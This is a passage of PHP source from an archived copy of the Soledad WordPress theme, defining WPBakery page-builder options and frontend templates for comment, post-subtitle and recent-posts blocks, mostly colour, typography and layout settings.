			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Heading Title Color', 'soledad' ),
			'param_name'       => 'comment_heading_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Heading Title Lines Color', 'soledad' ),
			'param_name'       => 'comment_heading_lcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Author Avatar Width', 'soledad' ),
			'param_name'       => 'author_ava_width',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Author Avatar Borders Radius', 'soledad' ),
			'param_name'       => 'author_ava_boderradius',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Author Name Color', 'soledad' ),
			'param_name'       => 'comment_name_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Author Name Hover Color', 'soledad' ),
			'param_name'       => 'comment_name_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Comment Date Color', 'soledad' ),
			'param_name'       => 'comment_date_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Comment Date Icon Color', 'soledad' ),
			'param_name'       => 'comment_date_icolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Color for Comment Content', 'soledad' ),
			'param_name'       => 'comment_content_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Reply Button Color', 'soledad' ),
			'param_name'       => 'comment_reply_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Reply Button Hover Color', 'soledad' ),
			'param_name'       => 'comment_reply_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'General Borders Color', 'soledad' ),
			'param_name'       => 'comment_item_bcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Comments List Spacing Top', 'soledad' ),
			'param_name'       => 'comment_list_spacingt',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_cmform',
			'heading'          => esc_html__( 'Comment Form', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Heading Title Color', 'soledad' ),
			'param_name'       => 'commentf_heading_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Heading Title Line Color', 'soledad' ),
			'param_name'       => 'commentf_heading_lcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Input Text Color', 'soledad' ),
			'param_name'       => 'commentf_input_text_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Input Border Color', 'soledad' ),
			'param_name'       => 'commentf_input_border_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Submit Background Color', 'soledad' ),
			'param_name'       => 'commentf_submit_bg_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Submit Background Hover Color', 'soledad' ),
			'param_name'       => 'commentf_submit_bg_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Submit Text Color', 'soledad' ),
			'param_name'       => 'commentf_submit_txt_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Submit Text Hover Color', 'soledad' ),
			'param_name'       => 'commentf_submit_txt_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Cookie Save Notice Color', 'soledad' ),
			'param_name'       => 'commentf_cookies_notice_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'GDPR Message Color', 'soledad' ),
			'param_name'       => 'commentf_gdpr_text_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\y,    :  inc/js_composer/shortcodes/pc_single_comments/frontend.phpnu [        <?php
$settings   = vc_map_get_attributes( $this->getShortcode(), $atts );
$block_id   = Penci_Vc_Helper::get_unique_id_block( 'pc_single_comments' );
$css_class  = vc_shortcode_custom_css_class( $settings['css'] );
$css_custom = '';
$mods       = [
	'penci_single_gdpr_text',
	'penci_single_gdpr',
	'penci_single_hide_save_fields',
	'penci_post_move_comment_box',
	'penci_single_comments_remove_name',
	'penci_single_comments_remove_email',
	'penci_single_comments_remove_website'
];
foreach ( $mods as $mod ) {
	$value = $settings[ $mod ];
	add_filter( 'theme_mod_' . $mod, function () use ( $value ) {
		return penci_switch_value( $value );
	} );
}
$class = $settings['penci_post_move_comment_box'] ? 'move-top' : 'normal';
echo '<div id="' . $block_id . '" class="pc-cscomments ' . $class . ' ' . $css_class . '">';
comments_template();
echo '</div>';
$block_id = '#' . $block_id;
if ( $settings['comment_rheading_lcolor'] ) {
	$css_custom .= $block_id . ' .post-box-title:before,' . $block_id . ' .post-box-title:after,' . $block_id . ' #respond h3.comment-reply-title span:before,' . $block_id . ' #respond h3.comment-reply-title span:after{display:none;}';
}
if ( $settings['submit_btn_align'] ) {
	$css_custom .= $block_id . ' #respond p.form-submit{text-align:' . $settings['submit_btn_align'] . ';}';
}
if ( $settings['comment_heading_color'] ) {
	$css_custom .= $block_id . ' .post-box-title{color:' . $settings['comment_heading_lcolor'] . ';}';
}
if ( $settings['author_ava_width'] ) {
	$css_custom .= $block_id . ' .thecomment .author-img{width:' . $settings['author_ava_width'] . 'px;}';
	$css_custom .= $block_id . ' .thecomment .comment-text{margin-left:' . ( $settings['author_ava_width'] + 20 ) . 'px;}';
}
if ( $settings['author_ava_boderradius'] ) {
	$css_custom .= $block_id . ' .thecomment .author-img{border-radius:' . $settings['author_ava_boderradius'] . ';}';
}
if ( $settings['comment_name_color'] ) {
	$css_custom .= $block_id . ' .thecomment .comment-text span.author, ' . $block_id . ' .thecomment .comment-text span.author a{color:' . $settings['comment_name_color'] . ';}';
}
if ( $settings['comment_name_hcolor'] ) {
	$css_custom .= $block_id . ' .thecomment .comment-text span.author a:hover{color:' . $settings['comment_name_hcolor'] . ';}';
}
if ( $settings['comment_date_color'] ) {
	$css_custom .= $block_id . ' .thecomment .comment-text span.date{color:' . $settings['comment_date_color'] . ';}';
}
if ( $settings['comment_date_icolor'] ) {
	$css_custom .= $block_id . ' .thecomment .comment-text span.date i{color:' . $settings['comment_date_icolor'] . ';}';
}
if ( $settings['comment_content_color'] ) {
	$css_custom .= $block_id . ' .thecomment .comment-content{color:' . $settings['comment_content_color'] . ';}';
}
if ( $settings['comment_reply_color'] ) {
	$css_custom .= $block_id . ' .post-comments span.reply a,' . $block_id . ' #respond h3 small a{color:' . $settings['comment_reply_color'] . ';}';
}
if ( $settings['comment_reply_hcolor'] ) {
	$css_custom .= $block_id . ' .post-comments span.reply a:hover,' . $block_id . ' #respond h3 small a:hover{color:' . $settings['comment_reply_hcolor'] . ';}';
}
if ( $settings['comment_item_bcolor'] ) {
	$css_custom .= $block_id . ' .comments .comment,' . $block_id . ' .pc-cscomments.move-top .post-title-box,' . $block_id . ' #respond h3{border-color:' . $settings['comment_item_bcolor'] . ';}';
}
if ( $settings['commentf_heading_color'] ) {
	$css_custom .= $block_id . ' #respond h3.comment-reply-title span{color:' . $settings['commentf_heading_color'] . ';}';
}
if ( $settings['commentf_input_text_color'] ) {
	$css_custom .= $block_id . ' #respond textarea, {{WRAPPER}} #respond input{color:' . $settings['commentf_input_text_color'] . ';}';
	$css_custom .= $block_id . ' #respond ::placeholder{color:' . $settings['commentf_input_text_color'] . ';}';
}
if ( $settings['commentf_input_border_color'] ) {
	$css_custom .= $block_id . ' #respond textarea, ' . $block_id . ' #respond input{border-color:' . $settings['commentf_input_border_color'] . ';}';
}
if ( $settings['commentf_submit_bg_color'] ) {
	$css_custom .= $block_id . ' #respond #submit{background-color:' . $settings['commentf_submit_bg_color'] . ';}';
}
if ( $settings['commentf_submit_bg_hcolor'] ) {
	$css_custom .= $block_id . ' #respond #submit:hover{background-color:' . $settings['commentf_submit_bg_color'] . ';}';
}
if ( $settings['commentf_submit_txt_color'] ) {
	$css_custom .= $block_id . ' #respond #submit{color:' . $settings['commentf_submit_txt_color'] . ';}';
}
if ( $settings['commentf_submit_txt_hcolor'] ) {
	$css_custom .= $block_id . ' #respond #submit:hover{color:' . $settings['commentf_submit_txt_hcolor'] . ';}';
}
if ( $settings['commentf_cookies_notice_color'] ) {
	$css_custom .= $block_id . ' #respond .comment-form-cookies-consent{color:' . $settings['commentf_cookies_notice_color'] . ';}';
}
if ( $settings['commentf_gdpr_text_color'] ) {
	$css_custom .= $block_id . ' #respond .penci-gdpr-message{color:' . $settings['commentf_gdpr_text_color'] . ';}';
}
if ( $settings['responsive_spacing'] ) {
	$css_custom .= penci_extract_spacing_style( $block_id, $settings['responsive_spacing'] );
}
if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\(%    :  inc/js_composer/shortcodes/pc_single_subtitle/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "pc_single_subtitle",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_subtitle/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Sub Title', 'soledad' ),
	'description'   => 'Post Builder - Sub Title',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Title Markup', 'soledad' ),
			'param_name'       => 'heading_markup',
			'value'            => array(
				'H1' => 'h1',
				'H2' => 'h2',
				'H3' => 'h3',
				'H4' => 'h4',
				'H5' => 'h5',
				'H6' => 'h6',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Heading Align', 'soledad' ),
			'param_name'       => 'heading_align',
			'value'            => array(
				'Left'   => 'left',
				'Right'  => 'right',
				'Center' => 'center',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
	), array(
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Main Text Color', 'soledad' ),
			'param_name'       => 'main_text_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => __( 'Custom Font Family for Post Sub Title', 'soledad' ),
			'param_name'       => 'use_ptitle_typo',
			'value'            => 'no',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'google_fonts',
			'group'      => $group_color,
			'param_name' => 'main_text_font',
			'value'      => '',
			'dependency' => array( 'element' => 'use_ptitle_typo', 'value' => 'yes' ),
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'main_text_size',
			'heading'    => __( 'Font Size', 'soledad' ),
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\kp    :  inc/js_composer/shortcodes/pc_single_subtitle/frontend.phpnu [        <?php
$settings    = vc_map_get_attributes( $this->getShortcode(), $atts );
$block_id    = Penci_Vc_Helper::get_unique_id_block( 'pc_single_subtitle' );
$css_custom  = '';
$heading_tag = $settings['heading_markup'];
$sub_title   = get_post_meta( get_the_ID(), 'penci_post_sub_title', true );
$css_class   = vc_shortcode_custom_css_class( $settings['css'] );
if ( $sub_title ) {
	echo '<' . $heading_tag . ' class="penci-psub-title ' . $css_class . '" id="' . $block_id . '"><span>' . $sub_title . '</span></' . $heading_tag . '>';
}
$css      = [
	'heading_align'   => [ '{{WRAPPER}} .penci-psub-title' => 'text-align:{{VALUE}}' ],
	'main-text-color' => [ '{{WRAPPER}} .penci-psub-title' => 'color:{{VALUE}} !important' ],
];
$typo_css = Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $settings['main_text_size'],
	'font_style' => $settings['main_text_font'],
	'template'   => '#' . $block_id . '  .penci-psub-title{ %s }',
) );
penci_wpbakery_el_extract_css( $css, $settings, '#' . $block_id, $typo_css );
PK     N\{9  9  4  inc/js_composer/shortcodes/recent_posts/settings.phpnu [        <?php
$group_color = 'Typo & Color';

vc_map( array(
    'base'          => 'penci_recent_posts',
    'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
    'category'      => penci_get_theme_name('Soledad'),
    'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/recent_posts/frontend.php',
    'weight'        => 700,
    'name'          => penci_get_theme_name('Penci').' '.esc_html__( 'Widget Recent/Popular Posts', 'soledad' ),
    'description'   => __( 'Recent Posts Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge(
		array(
            array(
                'type'        => 'loop',
                'heading'     => '',
                'param_name'  => 'build_query',
                'value'       => 'post_type:post|size:10',
                'settings'    => array(
                    'size'      => array( 'value' => 10, 'hidden' => false ),
                    'post_type' => array( 'value' => 'post', 'hidden' => false )
                ),
                'description' => __( 'Create WordPress loop, to populate content from your site.', 'soledad' ),
            ),
            array(
                'type'       => 'textfield',
                'heading'    => esc_html__( 'Custom words length for post titles', 'soledad' ),
                'param_name' => 'title_length',
                'description'     => __( 'If your post titles is too long - You can use this option for trim it. Fill number value here.', 'soledad' ),
            ),
            array(
                'type' => 'dropdown',
                'heading' => __('Image Size Type', 'soledad'),
                'value' => array(
                    'Default' => '',
                    'Horizontal Size' => 'horizontal',
                    'Square Size' => 'square',
                    'Vertical Size' => 'vertical',
                    'Custom' => 'custom',
                ),
                'std' => 'horizontal',
                'param_name' => 'penci_size',
            ),
            array(
                'type'             => 'penci_only_number',
                'heading'          => esc_html__( 'Image Ratio.Unit is %. E.g: 50', 'soledad' ),
                'param_name'       => 'penci_img_ratio',
                'value'            => '',
                'std'              => '',
                'min'              => 0,
                'max'              => 100,
                'suffix'           => '%',
                'edit_field_class' => 'vc_col-sm-6',
                'dependency' => array( 'element' => 'penci_size', 'value' => 'custom' ),
            ),
			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Custom Image Size', 'soledad' ),
				'value'            => array(
					'Default' => '',
					'Thumbnail - 150 x 150' => 'thumbnail',
					'Medium - 300 x 300' => 'medium',
					'Medium Large - 768 x auto' => 'medium_large',
					'Large - 1024 x 1024' => 'large',
					'Penci-single-full - 1920 x auto' => 'penci-single-full',
					'Penci-slider-full-thumb - 1920 x 800' => 'penci-slider-full-thumb',
					'Penci-full-thumb - 1170 x auto' => 'penci-full-thumb',
					'Penci-slider-thumb - 1170 x 663' => 'penci-slider-thumb',
					'Penci-magazine-slider - 780 x 516' => 'penci-magazine-slider',
					'Penci-thumb - 585 x 390' => 'penci-thumb',
					'Penci-masonry-thumb - 585 x auto' => 'penci-masonry-thumb',
					'Penci-thumb-square - 585 x 585' => 'penci-thumb-square',
					'Penci-thumb-vertical - 480 x 650' => 'penci-thumb-vertical',
					'Penci-thumb-small - 263 x 175' => 'penci-thumb-small',
					'Full' => 'full',
				),
				'param_name'       => 'thumb_size',
				'dependency'       => array( 'element' => 'penci_size', 'value' => 'custom' ),
			),
			array(
				'type'             => 'dropdown',
				'heading'          => __( 'Custom Image Size for Featured Posts', 'soledad' ),
				'value'            => array(
					'Default'                              => '',
					'Thumbnail - 150 x 150'                => 'thumbnail',
					'Medium - 300 x 300'                   => 'medium',
					'Medium Large - 768 x auto'            => 'medium_large',
					'Large - 1024 x 1024'                  => 'large',
					'Penci-single-full - 1920 x auto'      => 'penci-single-full',
					'Penci-slider-full-thumb - 1920 x 800' => 'penci-slider-full-thumb',
					'Penci-full-thumb - 1170 x auto'       => 'penci-full-thumb',
					'Penci-slider-thumb - 1170 x 663'      => 'penci-slider-thumb',
					'Penci-magazine-slider - 780 x 516'    => 'penci-magazine-slider',
					'Penci-thumb - 585 x 390'              => 'penci-thumb',
					'Penci-masonry-thumb - 585 x auto'     => 'penci-masonry-thumb',
					'Penci-thumb-square - 585 x 585'       => 'penci-thumb-square',
					'Penci-thumb-vertical - 480 x 650'     => 'penci-thumb-vertical',
					'Penci-thumb-small - 263 x 175'        => 'penci-thumb-small',
					'Full'                                 => 'full',
				),
				'param_name'       => 'thumb_bigsize',
				'dependency'       => array( 'element' => 'penci_size', 'value' => 'custom' ),
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Hide thumbnail?', 'soledad' ),
				'param_name' => 'hide_thumb',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Display thumbnail on right?', 'soledad' ),
				'param_name' => 'thumbright',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			),
			array(
				'type'             => 'penci_switch',
				'heading'          => esc_html__( 'Display on 2 columns?', 'soledad' ),
				'param_name'       => 'twocolumn',
                'description'     => __( 'If you use 2 columns option, it will ignore option display thumbnail on right.', 'soledad' ),
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
            ),
            array(
                'type'       => 'penci_switch',
                'heading'    => esc_html__( 'Display 1st post featured?', 'soledad' ),
                'param_name' => 'featured',
                'true_state'       => 'yes',
                'false_state'      => 'no',
                'default'          => 'no',
                'std'              => 'no',
            ),
            array(
	            'type'       => 'penci_switch',
	            'heading'    => esc_html__( 'Display featured post style 2?', 'soledad' ),
	            'param_name' => 'featured2',
	            'true_state'       => 'yes',
	            'false_state'      => 'no',
	            'default'          => 'no',
	            'std'              => 'no',
            ),
			array(
				'type'        => 'penci_switch',
				'heading'     => esc_html__( 'Display all post featured?', 'soledad' ),
				'param_name'  => 'allfeatured',
				'description' => __( 'If you use all post featured option, it will ignore option display thumbnail on right & 2 columns.', 'soledad' ),
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Show author name?', 'soledad' ),
				'param_name' => 'show_author',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Hide post date?', 'soledad' ),
				'param_name' => 'hide_postdate',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Show Comment Count?', 'soledad' ),
				'param_name' => 'show_comment',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Show Post Views?', 'soledad' ),
				'param_name' => 'show_postviews',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Enable icon post format?', 'soledad' ),
				'param_name' => 'icon_format',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Show the order numbers?', 'soledad' ),
				'param_name' => 'ordernum',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => esc_html__( 'Hide Border at The Bottom?', 'soledad' ),
				'param_name' => 'showborder',
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
			),
			array(
				'type'        => 'penci_responsive_sizes',
				'param_name'  => 'imgwidth',
				'heading'     => __( 'Custom Image Width', 'soledad' ),
				'description' => __( 'This option doesn\'t apply for featured posts.', 'soledad' ),
				'value'       => '',
				'std'         => '',
				'suffix'      => 'px',
				'min'         => 1,
			),
			array(
				'type'       => 'penci_responsive_sizes',
				'param_name' => 'row_gap',
				'heading'    => __( 'Custom Rows Gap Between Post Items', 'soledad' ),
				'value'      => '',
				'std'        => '',
				'suffix'     => 'px',
				'min'        => 1,
			),
		),
		Penci_Vc_Params_Helper::heading_block_params(),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
        array(
            array(
                'type'             => 'textfield',
                'param_name'       => 'heading_ptittle_settings',
                'heading'          => esc_html__( 'General Posts', 'soledad' ),
                'value'            => '',
                'group'            => $group_color,
                'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
            ),
            array(
                'type'             => 'colorpicker',
                'heading'          => esc_html__( 'Post Border Color', 'soledad' ),
                'param_name'       => 'post_border_color',
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            // Post title
            array(
                'type'             => 'colorpicker',
                'heading'          => esc_html__( 'Post Title Color', 'soledad' ),
                'param_name'       => 'ptitle_color',
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'             => 'colorpicker',
                'heading'          => esc_html__( 'Post Title Hover Color', 'soledad' ),
                'param_name'       => 'ptitle_hcolor',
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'             => 'penci_responsive_sizes',
                'param_name'       => 'ptitle_fsize',
                'heading'          => __( 'Font Size for Post Title', 'soledad' ),
                'value'            => '',
                'std'              => '',
                'suffix'           => 'px',
                'min'              => 1,
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'             => 'penci_switch',
                'heading'          => __( 'Custom Font Family for Post Title', 'soledad' ),
                'param_name'       => 'use_ptitle_typo',
                'default'          => 'no',
                'std'              => 'no',
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'       => 'google_fonts',
                'group'      => $group_color,
                'param_name' => 'ptitle_typo',
                'value'      => '',
                'dependency' => array( 'element' => 'use_ptitle_typo', 'value' => 'yes' ),
            ),
            array(
                'type'       => 'penci_separator',
                'param_name' => 'penci_separator1',
                'group'      => $group_color,
            ),
            // Post meta
            array(
                'type'             => 'colorpicker',
                'heading'          => esc_html__( 'Post Meta Color', 'soledad' ),
                'param_name'       => 'pmeta_color',
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'             => 'penci_responsive_sizes',
                'param_name'       => 'pmeta_fsize',
                'heading'          => __( 'Font Size for Post Meta', 'soledad' ),
                'value'            => '',
                'std'              => '',
                'suffix'           => 'px',
                'min'              => 1,
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'             => 'penci_switch',
                'heading'          => __( 'Custom Font Family for Post Meta', 'soledad' ),
                'param_name'       => 'use_pmeta_typo',
                'default'          => 'no',
                'std'              => 'no',
                'group'            => $group_color,
                'edit_field_class' => 'vc_col-sm-6',
            ),
            array(
                'type'       => 'google_fonts',
                'group'      => $group_color,
                'param_name' => 'pmeta_typo',
                'value'      => '',
                'dependency' => array( 'element' => 'use_pmeta_typo', 'value' => 'yes' ),
            ),
        ),
		Penci_Vc_Params_Helper::extra_params(),
		Penci_Vc_Params_Helper::params_bookmark_icon()
	)
) );
PK     N\܇YB6  B6  4  inc/js_composer/shortcodes/recent_posts/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = $responsive_spacing = '';

$title_page          = $page_url = $page_height = $hide_faces = $hide_stream = '';
$heading_title_style = $heading = $heading_title_link = $heading_title_align = '';

$build_query  = $penci_img_ratio = $post_border_color = '';
$ptitle_color = $ptitle_hcolor = $ptitle_fsize = $use_ptitle_typo = $ptitle_typo = '';
$pmeta_color  = $pmeta_hcolor = $pmeta_fsize = $use_pmeta_typo = $pmeta_typo = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$query_args = penci_build_args_query( $build_query );
$loop       = new WP_Query( $query_args );

if ( ! $loop->have_posts() ) {
	return;
}

$penci_size    = isset( $atts['penci_size'] ) ? $atts['penci_size'] : '';
$thumb_size    = isset( $atts['thumb_size'] ) ? $atts['thumb_size'] : '';
$thumb_bigsize = isset( $atts['thumb_bigsize'] ) ? $atts['thumb_bigsize'] : '';

$rand = rand( 100, 10000 );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci_recent-posts-sc';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'recent_posts' );

$title_length = intval( $atts['title_length'] );
$featured     = 'yes' == $atts['featured'] ? true : false;
$twocolumn    = 'yes' == $atts['twocolumn'] ? true : false;
$featured2    = 'yes' == $atts['featured2'] ? true : false;
$allfeatured  = 'yes' == $atts['allfeatured'] ? true : false;
$thumbright   = 'yes' == $atts['thumbright'] ? true : false;
$postdate     = 'yes' == $atts['hide_postdate'] ? true : false;
$icon         = 'yes' == $atts['icon_format'] ? true : false;
$hide_thumb   = 'yes' == $atts['hide_thumb'] ? true : false;
$showauthor   = 'yes' == $atts['show_author'] ? true : false;
$showcomment  = 'yes' == $atts['show_comment'] ? true : false;
$showviews    = 'yes' == $atts['show_postviews'] ? true : false;
$ordernum     = 'yes' == $atts['ordernum'] ? true : false;
$showborder   = 'yes' == $atts['showborder'] ? true : false;
$row_gap      = isset( $atts['row_gap'] ) ? $atts['row_gap'] : '';
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
        <div class="penci-block_content">
            <ul id="penci-latestwg-<?php echo sanitize_text_field( $rand ); ?>"
                class="side-newsfeed<?php if ( $twocolumn && ! $allfeatured ): echo ' penci-feed-2columns';
				    if ( $featured ) {
					    echo ' penci-2columns-featured';
				    } else {
					    echo ' penci-2columns-feed';
				    } endif; ?>">
				<?php $num = 1;
				while ( $loop->have_posts() ) : $loop->the_post(); ?>
                    <li class="penci-feed<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): echo ' featured-news';
						if ( $featured2 ): echo ' featured-news2'; endif; endif; ?><?php if ( $allfeatured ): echo ' all-featured-news'; endif; ?>">
						<?php if ( $ordernum && has_post_thumbnail() && ! $hide_thumb ): ?>
                            <span class="order-border-number<?php if ( $thumbright && ! $twocolumn ): echo ' right-side'; endif; ?>">
							<span class="number-post"><?php echo sanitize_text_field( $num ); ?></span>
						</span>
						<?php endif; ?>
                        <div class="side-item">
							<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) && ! $hide_thumb ) : ?>
                                <div class="side-image<?php if ( $thumbright ): echo ' thumbnail-right'; endif; ?>">
									<?php
									$size_pie = 'small';
									if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $size_pie = 'normal'; endif;
									do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
									/* Display Review Piechart  */
									if ( function_exists( 'penci_display_piechart_review_html' ) ) {
										penci_display_piechart_review_html( get_the_ID(), $size_pie );
									}

									$thumb = penci_featured_images_size( 'small' );
									if ( 'horizontal' == $penci_size ) {
										$thumb = 'penci-thumb-small';
									} else if ( 'square' == $penci_size ) {
										$thumb = 'penci-thumb-square';
									} else if ( 'vertical' == $penci_size ) {
										$thumb = 'penci-thumb-vertical';
									} else if ( 'custom' == $penci_size ) {
										if ( $thumb_size ) {
											$thumb = $thumb_size;
										}
									}
									if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
										$thumb = penci_featured_images_size();
										if ( 'horizontal' == $penci_size ) {
											$thumb = 'penci-thumb';
										} else if ( 'square' == $penci_size ) {
											$thumb = 'penci-thumb-square';
										} else if ( 'vertical' == $penci_size ) {
											$thumb = 'penci-thumb-vertical';
										} else if ( 'custom' == $penci_size ) {
											if ( $thumb_bigsize ) {
												$thumb = $thumb_bigsize;
											}
										}
									}
									?>
